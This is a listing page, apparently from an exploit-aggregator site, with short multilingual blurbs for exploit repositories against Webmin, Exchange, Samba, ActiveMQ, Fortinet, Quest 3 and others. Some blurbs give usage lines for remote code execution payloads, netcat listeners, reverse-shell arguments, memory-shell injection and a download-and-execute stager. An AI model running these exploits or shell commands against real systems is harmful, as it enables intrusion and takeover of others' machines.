w3-total-cache-cve-2013-2010

w3-total-cache-cve-2013-2010 W3 Total Cache CVE-2013-2010 上でのリモートコード実行 使い方: python3 w3tcrceexploit.py -u http://example.com -p "system'whoami';" 出力: 対象: http://example.com + ペイロードが正常に送信されました。 + ターゲットでペイロードの実行を確認してください。 import requests import argparse def exploitrcetargeturl, payload: """Exploit t...

CVE-2021-26855-PoC

CVE-2021-26855-PoC PoC exploit code for CVE-2021-26855. Original code was developed by https://github.com/GreyOrder. CVE-2021-26855 ssrf simple use of golang exercises Affected version root@kitploit: Exchange Server 2013 is less than CU23 Exchange Server 2016 is less than CU18 Exchange Server 201...

Webmin_CVE-2019-15107

CVE-2019–15107 - 認証なしRCE Webmin =1.920 このPythonスクリプトは Webmin 1.890 で root シェルを取得できます。 nmapで確認: nmap -sC -sV -p 10000 TARGETIP 結果: 10000/tcp open http MiniServ 1.890 Webmin httpd このエクスプロイトの使い方: ステップ 1: nc -lnvp LPORT ステップ 2: chmod +x exploit.py root@kitploit: ./exploit RHOST RPORT LHOST LPORT RHOS...

CVE-2024-39722

Ollama CVE-2024-39722 Exploit Tool This tool is designed to exploit CVE-2024-39722, a model existence disclosure vulnerability in Ollama versions up to and including 0.1.45. It allows users to check if an Ollama server is vulnerable and attempt to discover existing models on the server...

CVE-2022-30292

CVE-2022-30292 Description This vulnerability is the heap-based buffer overflow in the function threadcall in Squirrel 3.2 and below. It caused by the lack of the call of sqreservestack function. This vulnerability leads to DoS of the client and could possibly lead to sandbox escape and arbitrary...

Elasticsearch-Exploit-CVE-2023-31419

Elasticsearch StackOverflow vulnerability A flaw was discovered in Elasticsearch, affecting the search API that allowed a specially crafted query string to cause a Stack Overflow and ultimately a Denial of Service. Affected Versions: Elasticsearch versions from 7.0.0 to 7.17.12 and from 8.0.0 to...

CVE-2023-46998

Cross Site Scripting en Bootbox.js v.3.2 a 6.0 permite a un atacante remoto inyectar código HTML y ejecutar JavaScript arbitrario. Resumen Proveedor: BootBox Producto: bootbox.js Versiónes afectadas: 3.2 a 6.0 Nombre de código: Venga-Que-Si-Es-Pa-Eso Vulnerabilidad Tipo: Neutralización incorrecta...

CVE-2020-5902

CVE-2020-5902 Exploit for CVE-2020-5902 POC bash version...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin Introduction Batch detection and exploitation of CVE-2024-36401, supporting custom memory shell injection 1. Batch detection capability 2. The backend has already filtered URLs just provide the URLs 3. Can custom generate memory shell for injection default memory...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python implementation Description Python implementation of 'Username' map script' RCE Exploit for Samba 3.0.20 IP - Ip of the remote machine. PORT - Optional Port that smb is running on. PAYLOAD - Payload to be executed on the remote machine e.g. reverse shell. Examples: python3...

CVE-2020-0910

CVE-2020-0910 Working Exploit PoC CVE-2020-0910 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2025-4389

CVE-2025-4389 Exploit Details Published : May 16, 2025 Updated : May 17, 2025 Severity : Critical CVSS Score: 9.8 CWE : CWE-434: CWE-434 Unrestricted Upload of File with Dangerous Type Affected Versions : All versions from n/a through 2.6.8.1 Researcher :...

java-stager

java-stager A PoC Java Stager which can download, compile, and execute a Java file in memory. This is for research purposes only, do not use this where you are unauthorised to do so. What is this? This is based on the work of James Williams from his talk "Next Gen AV vs My Shitty Code" available...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ Este exploit se basa en el trabajo fundacional disponible en https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. Hemos desarrollado más a fondo la técnica para lograr una reverse shell utilizando Metasploit Framework...

cheese

Root exploit for the Quest 3/3S for the August 7, 2025 update and earlier, based on CVE-2025-21479. Magisk、Cheese、Termux でルートシェルを表示したスクリーンショット 警告: ルート化は危険です。Quest 3/3S を文鎮化（ブリック）した場合、修復する方法はありません。 一時ルート化中は、すべてのセキュリティが無効になります。 信頼できないアプリの実行やウェブサイトの閲覧をしないでください。 boot または system...

cheese

Root exploit for the Quest 3/3S for the August 7, 2025 update and earlier, based on CVE-2025-21479. screenshot of Magisk, Cheese, and Termux with a root shell Warning: Rooting is dangerous. If you brick a Quest 3/3S, there is no way to repair it. This disables all security when temp rooted. Do NO...

text4shell-exploit

text4shell-exploit A custom Python-based proof-of-concept PoC exploit targeting Text4Shell CVE-2022-42889, a critical remote code execution vulnerability in Apache Commons Text versions 1.10. This exploit targets vulnerable Java applications that use the StringSubstitutor class with interpolation...

Why-so-Serious-SAM

HiveNightmare 'Fileless' Exploit PoC: 目次 概要 特徴 ラボシミュレーション例 Google Dorks を使った偵察 LOLBins の概要 ファイルレスドロッパーの埋め込み Print Spooler と HiveNightmare の悪用 リフレクティブ DLL インジェクション MITRE ATT&CK マッピング 検知と緩和策 法的免責事項 参考情報と関連資料 概要 CVE-2021-36934/HiveNightmare は、Windows 11 上で ファイルレスマルウェア...

CVE-2024-21762-Checker

CVE-2024-21762-Checker This script performs vulnerability scanning for CVE-2024-21762, a Fortinet SSL VPN remote code execution vulnerability. It checks whether a given server is vulnerable to this CVE by sending specific requests and analyzing the responses. For more information, see this Bishop...

Blackash-CVE-2025-31131

Blackash-CVE-2025-31131 CVE-2025-31131 - YesWiki 4.5.2 Path Traversal Exploit Description YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. This vulnerability is fixed in 4.5.2. NIST: NV...